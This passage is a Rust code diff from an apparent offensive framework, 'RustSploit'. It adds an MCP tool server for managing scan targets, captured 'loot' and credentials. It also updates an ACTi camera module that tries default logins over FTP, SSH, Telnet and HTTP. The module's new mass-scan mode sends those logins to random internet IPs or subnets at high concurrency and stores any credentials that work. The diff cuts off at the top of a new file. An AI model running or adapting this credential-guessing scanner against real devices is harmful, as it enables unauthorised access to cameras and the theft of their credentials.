if o.len() > 256 || o.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("os_guess too long (max 256) or contains control characters".into());
|
||||
}
|
||||
}
|
||||
crate::workspace::WORKSPACE
|
||||
.add_host(ip, hostname, os_guess)
|
||||
.await;
|
||||
ToolResult::text(format!("Host {} added/updated", ip))
|
||||
}
|
||||
|
||||
async fn handle_delete_host(args: &Value) -> ToolResult {
|
||||
let ip = require_str!(args, "ip");
|
||||
if crate::workspace::WORKSPACE.delete_host(ip).await {
|
||||
ToolResult::text(format!("Host {} deleted", ip))
|
||||
} else {
|
||||
ToolResult::error(format!("Host {} not found", ip))
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_list_services() -> ToolResult {
|
||||
let services = crate::workspace::WORKSPACE.services().await;
|
||||
ToolResult::json(&services)
|
||||
}
|
||||
|
||||
async fn handle_add_service(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let port = match u16_param(args, "port") {
|
||||
Some(0) => return ToolResult::error("Port must be between 1 and 65535".into()),
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error("Missing required parameter: port".into()),
|
||||
};
|
||||
if host.len() > 256 || host.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("host too long (max 256) or contains control characters".into());
|
||||
}
|
||||
let service_name = require_str!(args, "service_name");
|
||||
let protocol = str_param(args, "protocol").unwrap_or("tcp");
|
||||
if protocol.len() > 256 || protocol.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("protocol too long (max 256) or contains control characters".into());
|
||||
}
|
||||
let version = str_param(args, "version");
|
||||
crate::workspace::WORKSPACE
|
||||
.add_service(host, port, protocol, service_name, version)
|
||||
.await;
|
||||
ToolResult::text(format!("Service {}:{} ({}) added/updated", host, port, service_name))
|
||||
}
|
||||
|
||||
async fn handle_delete_service(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let port = match u16_param(args, "port") {
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error("Missing required parameter: port".into()),
|
||||
};
|
||||
if crate::workspace::WORKSPACE.delete_service(host, port).await {
|
||||
ToolResult::text(format!("Service {}:{} deleted", host, port))
|
||||
} else {
|
||||
ToolResult::error(format!("Service {}:{} not found", host, port))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Loot ──────────────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_loot() -> ToolResult {
|
||||
let loot = crate::loot::LOOT_STORE.list().await;
|
||||
ToolResult::json(&loot)
|
||||
}
|
||||
|
||||
async fn handle_search_loot(args: &Value) -> ToolResult {
|
||||
let query = require_str!(args, "query");
|
||||
let results = crate::loot::LOOT_STORE.search(query).await;
|
||||
ToolResult::json(&results)
|
||||
}
|
||||
|
||||
async fn handle_add_loot(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let loot_type = require_str!(args, "loot_type");
|
||||
let data = require_str!(args, "data");
|
||||
let description = str_param(args, "description").unwrap_or("");
|
||||
|
||||
if host.len() > 256 || loot_type.len() > 256 {
|
||||
return ToolResult::error("host or loot_type too long (max 256)".into());
|
||||
}
|
||||
if description.len() > 4096 {
|
||||
return ToolResult::error("description too long (max 4096)".into());
|
||||
}
|
||||
const MAX_LOOT_DATA: usize = 100 * 1024 * 1024;
|
||||
if data.len() > MAX_LOOT_DATA {
|
||||
return ToolResult::error(format!("data too large ({} bytes, max {} MB)", data.len(), MAX_LOOT_DATA / 1024 / 1024));
|
||||
}
|
||||
|
||||
match crate::loot::LOOT_STORE
|
||||
.add_text(host, loot_type, description, data, "mcp")
|
||||
.await
|
||||
{
|
||||
Some(id) => ToolResult::json(&json!({ "id": id, "status": "stored" })),
|
||||
None => ToolResult::error("Failed to store loot (validation or I/O error)".into()),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_delete_loot(args: &Value) -> ToolResult {
|
||||
let id = require_str!(args, "id");
|
||||
if crate::loot::LOOT_STORE.delete(id).await {
|
||||
ToolResult::text(format!("Loot {} deleted", id))
|
||||
} else {
|
||||
ToolResult::error(format!("Loot {} not found", id))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Global options ────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_options() -> ToolResult {
|
||||
let opts = crate::global_options::GLOBAL_OPTIONS.all().await;
|
||||
ToolResult::json(&opts)
|
||||
}
|
||||
|
||||
async fn handle_set_option(args: &Value) -> ToolResult {
|
||||
let key = require_str!(args, "key");
|
||||
let value = require_str!(args, "value");
|
||||
if !crate::global_options::GLOBAL_OPTIONS.set(key, value).await {
|
||||
return ToolResult::error(format!("Failed to set '{}': key/value too long or entry limit reached", key));
|
||||
}
|
||||
ToolResult::text(format!("{} => {}", key, value))
|
||||
}
|
||||
|
||||
async fn handle_unset_option(args: &Value) -> ToolResult {
|
||||
let key = require_str!(args, "key");
|
||||
if crate::global_options::GLOBAL_OPTIONS.unset(key).await {
|
||||
ToolResult::text(format!("Option '{}' removed", key))
|
||||
} else {
|
||||
ToolResult::error(format!("Option '{}' not found", key))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Jobs ──────────────────────────────────────────────────────────────────
|
||||
|
||||
fn handle_list_jobs() -> ToolResult {
|
||||
let jobs = crate::jobs::JOB_MANAGER.list();
|
||||
let entries: Vec<Value> = jobs
|
||||
.into_iter()
|
||||
.map(|(id, module, target, started, status)| {
|
||||
json!({
|
||||
"id": id,
|
||||
"module": module,
|
||||
"target": target,
|
||||
"started": started,
|
||||
"status": status,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
ToolResult::json(&entries)
|
||||
}
|
||||
|
||||
fn handle_kill_job(args: &Value) -> ToolResult {
|
||||
let id = match u32_param(args, "id") {
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error("Missing required parameter: id (integer)".into()),
|
||||
};
|
||||
if crate::jobs::JOB_MANAGER.kill(id) {
|
||||
ToolResult::text(format!("Job {} killed", id))
|
||||
} else {
|
||||
ToolResult::error(format!("Job {} not found", id))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Workspace management ──────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_workspaces() -> ToolResult {
|
||||
let workspaces = crate::workspace::WORKSPACE.list_workspaces().await;
|
||||
let current = crate::workspace::WORKSPACE.current_name().await;
|
||||
ToolResult::json(&json!({
|
||||
"workspaces": workspaces,
|
||||
"current": current,
|
||||
}))
|
||||
}
|
||||
|
||||
async fn handle_switch_workspace(args: &Value) -> ToolResult {
|
||||
let name = require_str!(args, "name");
|
||||
if name.is_empty() || name.len() > 64
|
||||
|| name.chars().any(|c| !c.is_alphanumeric() && c != '_' && c != '-')
|
||||
{
|
||||
return ToolResult::error("Workspace name must be 1-64 alphanumeric chars, dashes, or underscores".into());
|
||||
}
|
||||
crate::workspace::WORKSPACE.switch(name).await;
|
||||
ToolResult::text(format!("Switched to workspace: {}", name))
|
||||
}
|
||||
|
||||
// ── Export ─────────────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_export_data() -> ToolResult {
|
||||
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let workspace_data = crate::workspace::WORKSPACE.get_data().await;
|
||||
let creds = crate::cred_store::CRED_STORE.list().await;
|
||||
let loot = crate::loot::LOOT_STORE.list().await;
|
||||
|
||||
ToolResult::json(&json!({
|
||||
"workspace": workspace_name,
|
||||
"exported_at": chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
"hosts": workspace_data.hosts,
|
||||
"services": workspace_data.services,
|
||||
"credentials": creds,
|
||||
"loot": loot,
|
||||
}))
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
use serde::{Deserialize, Serialize};
|
||||
use serde_json::Value;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// JSON-RPC 2.0 core types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Incoming JSON-RPC 2.0 request (or notification when `id` is `None`).
|
||||
#[derive(Deserialize)]
|
||||
pub struct JsonRpcRequest {
|
||||
pub jsonrpc: String,
|
||||
/// `None` means this is a notification (no response expected).
|
||||
pub id: Option<Value>,
|
||||
pub method: String,
|
||||
pub params: Option<Value>,
|
||||
}
|
||||
|
||||
/// Outgoing JSON-RPC 2.0 response.
|
||||
#[derive(Serialize)]
|
||||
pub struct JsonRpcResponse {
|
||||
pub jsonrpc: String,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub id: Option<Value>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub result: Option<Value>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub error: Option<JsonRpcError>,
|
||||
}
|
||||
|
||||
/// JSON-RPC 2.0 error object.
|
||||
#[derive(Serialize)]
|
||||
pub struct JsonRpcError {
|
||||
pub code: i64,
|
||||
pub message: String,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub data: Option<Value>,
|
||||
}
|
||||
|
||||
impl JsonRpcResponse {
|
||||
/// Build a successful response carrying `result`.
|
||||
pub fn success(id: Option<Value>, result: Value) -> Self {
|
||||
Self {
|
||||
jsonrpc: "2.0".to_string(),
|
||||
id,
|
||||
result: Some(result),
|
||||
error: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Build an error response.
|
||||
pub fn error(id: Option<Value>, code: i64, message: String) -> Self {
|
||||
Self {
|
||||
jsonrpc: "2.0".to_string(),
|
||||
id,
|
||||
result: None,
|
||||
error: Some(JsonRpcError {
|
||||
code,
|
||||
message,
|
||||
data: None,
|
||||
}),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// MCP capability negotiation
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Returned as the result of the `initialize` method.
|
||||
#[derive(Serialize)]
|
||||
pub struct InitializeResult {
|
||||
#[serde(rename = "protocolVersion")]
|
||||
pub protocol_version: String,
|
||||
pub capabilities: ServerCapabilities,
|
||||
#[serde(rename = "serverInfo")]
|
||||
pub server_info: ServerInfo,
|
||||
}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ServerCapabilities {
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub tools: Option<ToolsCapability>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub resources: Option<ResourcesCapability>,
|
||||
}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ToolsCapability {}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ResourcesCapability {}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ServerInfo {
|
||||
pub name: String,
|
||||
pub version: String,
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tools
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Descriptor returned by `tools/list`.
|
||||
#[derive(Serialize, Clone)]
|
||||
pub struct Tool {
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
#[serde(rename = "inputSchema")]
|
||||
pub input_schema: Value,
|
||||
}
|
||||
|
||||
/// Result payload returned by `tools/call`.
|
||||
#[derive(Serialize)]
|
||||
pub struct ToolResult {
|
||||
pub content: Vec<ToolContent>,
|
||||
#[serde(rename = "isError", skip_serializing_if = "Option::is_none")]
|
||||
pub is_error: Option<bool>,
|
||||
}
|
||||
|
||||
/// A single content block inside a `ToolResult`.
|
||||
#[derive(Serialize)]
|
||||
pub struct ToolContent {
|
||||
#[serde(rename = "type")]
|
||||
pub content_type: String,
|
||||
pub text: String,
|
||||
}
|
||||
|
||||
impl ToolResult {
|
||||
/// Plain-text result.
|
||||
pub fn text(s: String) -> Self {
|
||||
Self {
|
||||
content: vec![ToolContent {
|
||||
content_type: "text".to_string(),
|
||||
text: s,
|
||||
}],
|
||||
is_error: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Serialize any `Serialize` value into pretty-printed JSON text.
|
||||
pub fn json(v: &impl Serialize) -> Self {
|
||||
let text = serde_json::to_string_pretty(v).unwrap_or_else(|e| format!("{{\"error\": \"{}\"}}", e));
|
||||
Self {
|
||||
content: vec![ToolContent {
|
||||
content_type: "text".to_string(),
|
||||
text,
|
||||
}],
|
||||
is_error: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Error result — sets `isError` to `true`.
|
||||
pub fn error(msg: String) -> Self {
|
||||
Self {
|
||||
content: vec![ToolContent {
|
||||
content_type: "text".to_string(),
|
||||
text: msg,
|
||||
}],
|
||||
is_error: Some(true),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Resources
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Descriptor returned by `resources/list`.
|
||||
#[derive(Serialize, Clone)]
|
||||
pub struct Resource {
|
||||
pub uri: String,
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
#[serde(rename = "mimeType")]
|
||||
pub mime_type: String,
|
||||
}
|
||||
|
||||
/// Content payload returned by `resources/read`.
|
||||
#[derive(Serialize)]
|
||||
pub struct ResourceContent {
|
||||
pub uri: String,
|
||||
#[serde(rename = "mimeType")]
|
||||
pub mime_type: String,
|
||||
pub text: String,
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
use colored::*;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// Module metadata — returned by optional `pub fn info() -> ModuleInfo` in modules.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ModuleInfo {
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
pub authors: Vec<String>,
|
||||
/// CVE IDs, URLs, EDB references, etc.
|
||||
pub references: Vec<String>,
|
||||
/// ISO date string, e.g. "2024-01-15"
|
||||
pub disclosure_date: Option<String>,
|
||||
pub rank: ModuleRank,
|
||||
}
|
||||
|
||||
/// Reliability/safety rank for modules (inspired by Metasploit ranking).
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum ModuleRank {
|
||||
/// Reliable, no crash risk
|
||||
Excellent,
|
||||
/// Usually works
|
||||
Great,
|
||||
/// Default rank
|
||||
Good,
|
||||
/// May cause instability
|
||||
Normal,
|
||||
/// Rarely works
|
||||
Low,
|
||||
/// Requires manual steps
|
||||
Manual,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ModuleRank {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
ModuleRank::Excellent => write!(f, "Excellent"),
|
||||
ModuleRank::Great => write!(f, "Great"),
|
||||
ModuleRank::Good => write!(f, "Good"),
|
||||
ModuleRank::Normal => write!(f, "Normal"),
|
||||
ModuleRank::Low => write!(f, "Low"),
|
||||
ModuleRank::Manual => write!(f, "Manual"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Result of a non-destructive vulnerability check.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum CheckResult {
|
||||
Vulnerable(String),
|
||||
NotVulnerable(String),
|
||||
Unknown(String),
|
||||
Error(String),
|
||||
}
|
||||
|
||||
impl std::fmt::Display for CheckResult {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
CheckResult::Vulnerable(msg) => write!(f, "Vulnerable: {}", msg),
|
||||
CheckResult::NotVulnerable(msg) => write!(f, "Not Vulnerable: {}", msg),
|
||||
CheckResult::Unknown(msg) => write!(f, "Unknown: {}", msg),
|
||||
CheckResult::Error(msg) => write!(f, "Error: {}", msg),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Pretty-print module info to the console.
|
||||
pub fn display_module_info(module_path: &str, info: &ModuleInfo) {
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Module Information ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
println!(" {:<16} {}", "Path:".bold(), module_path);
|
||||
println!(" {:<16} {}", "Name:".bold(), info.name);
|
||||
println!(" {:<16} {}", "Rank:".bold(), format!("{}", info.rank).green());
|
||||
if let Some(ref date) = info.disclosure_date {
|
||||
println!(" {:<16} {}", "Disclosed:".bold(), date);
|
||||
}
|
||||
println!();
|
||||
println!(" {}", "Description:".bold());
|
||||
for line in info.description.lines() {
|
||||
println!(" {}", line);
|
||||
}
|
||||
println!();
|
||||
if !info.authors.is_empty() {
|
||||
println!(" {}", "Authors:".bold());
|
||||
for author in &info.authors {
|
||||
println!(" - {}", author);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
if !info.references.is_empty() {
|
||||
println!(" {}", "References:".bold());
|
||||
for reference in &info.references {
|
||||
println!(" - {}", reference);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,20 +1,22 @@
|
||||
use anyhow::{Context, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use suppaftp::tokio::AsyncFtpStream;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use tokio::{join, task};
|
||||
use crate::utils::url_encode;
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
|
||||
println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
|
||||
crate::mprintln!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Supported Acti services
|
||||
@@ -59,18 +61,18 @@ fn normalize_target(target: &str, port: u16) -> String {
|
||||
|
||||
/// FTP check (async)
|
||||
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
|
||||
crate::mprintln!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
match FtpStream::connect(address).await {
|
||||
match AsyncFtpStream::connect(address).await {
|
||||
Ok(mut ftp) => {
|
||||
if ftp.login(username, password).await.is_ok() {
|
||||
println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
|
||||
crate::mprintln!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
|
||||
let _ = ftp.quit().await;
|
||||
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
|
||||
// Respect stop_on_success: if true, stop after first valid credential
|
||||
@@ -86,43 +88,47 @@ pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, S
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
crate::mprintln!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// SSH check (blocking, so we use spawn_blocking)
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
|
||||
crate::mprintln!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
if let Ok(stream) = TcpStream::connect(address) {
|
||||
let socket_addr: std::net::SocketAddr = match address.parse() {
|
||||
Ok(sa) => sa,
|
||||
Err(_) => continue,
|
||||
};
|
||||
if let Ok(stream) = TcpStream::connect_timeout(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
|
||||
let mut session = Session::new().context("Failed to create SSH session")?;
|
||||
session.set_tcp_stream(stream);
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
|
||||
if session.userauth_password(username, password).is_ok() && session.authenticated() {
|
||||
println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
|
||||
crate::mprintln!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
|
||||
crate::mprintln!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Telnet check (blocking)
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
|
||||
crate::mprintln!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
@@ -143,31 +149,28 @@ pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, Str
|
||||
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
|
||||
let response = String::from_utf8_lossy(&buffer);
|
||||
if !response.contains("incorrect") && !response.contains("failed") {
|
||||
println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
|
||||
crate::mprintln!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
|
||||
crate::mprintln!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// HTTP Web Login check (async)
|
||||
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
|
||||
crate::mprintln!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let data = [
|
||||
@@ -181,7 +184,7 @@ pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, Str
|
||||
let mut body = String::new();
|
||||
for (key, val) in &data {
|
||||
if !body.is_empty() { body.push('&'); }
|
||||
body.push_str(&format!("{}={}", key, urlencoding::encode(val)));
|
||||
body.push_str(&format!("{}={}", key, url_encode(val)));
|
||||
}
|
||||
|
||||
let res = client
|
||||
@@ -192,23 +195,68 @@ pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, Str
|
||||
.await
|
||||
.context("[!] Failed to send HTTP form request")?;
|
||||
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
let body = match res.text().await {
|
||||
Ok(t) => t,
|
||||
Err(_) => String::new(),
|
||||
};
|
||||
|
||||
if !body.contains(">Password<") {
|
||||
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
|
||||
crate::mprintln!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
crate::mprintln!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Entrypoint for module - parallel checks
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// Mass scan mode: random IPs, CIDR subnets, or target file
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "ACTi Camera",
|
||||
default_port: 80,
|
||||
state_file: "acti_camera_mass_state.log",
|
||||
default_output: "acti_camera_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip: std::net::IpAddr, port: u16| async move {
|
||||
// Quick port check on HTTP
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
let target_str = ip.to_string();
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("Admin", "12345"),
|
||||
("Admin", "123456"),
|
||||
];
|
||||
// Try HTTP first (most likely for cameras)
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(5)).ok()?;
|
||||
let url = format!("http://{}:{}/", target_str, port);
|
||||
for (user, pass) in &creds {
|
||||
let resp = client.get(&url)
|
||||
.basic_auth(user, Some(pass))
|
||||
.send()
|
||||
.await
|
||||
.ok()?;
|
||||
if resp.status().is_success() || resp.status().as_u16() == 301 || resp.status().as_u16() == 302 {
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
if !body.contains("401") && !body.to_lowercase().contains("unauthorized") {
|
||||
let msg = format!("{}:{}:HTTP:{}:{}", ip, port, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}).await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
@@ -257,17 +305,40 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
|
||||
// Print summary
|
||||
// Print summary and store credentials
|
||||
if !found_credentials.is_empty() {
|
||||
println!();
|
||||
println!("{}", "=== Summary ===".bold());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Summary ===".bold());
|
||||
for (service, user, pass) in &found_credentials {
|
||||
println!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
|
||||
crate::mprintln!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
|
||||
let (svc_port, svc_name) = match service.as_str() {
|
||||
"FTP" => (21u16, "ftp"),
|
||||
"SSH" => (22, "ssh"),
|
||||
"Telnet" => (23, "telnet"),
|
||||
"HTTP" => (80, "http"),
|
||||
_ => (0, "unknown"),
|
||||
};
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, svc_port, svc_name, user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/camera/acti/acti_camera_default",
|
||||
).await;
|
||||
}
|
||||
} else {
|
||||
println!();
|
||||
println!("{}", "[-] No valid credentials found on any service.".yellow());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[-] No valid credentials found on any service.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "ACTi Camera Default Credentials".to_string(),
|
||||
description: "Tests default credentials across FTP, SSH, Telnet, and HTTP on ACTi IP cameras.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,882 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use base64::prelude::*;
|
||||
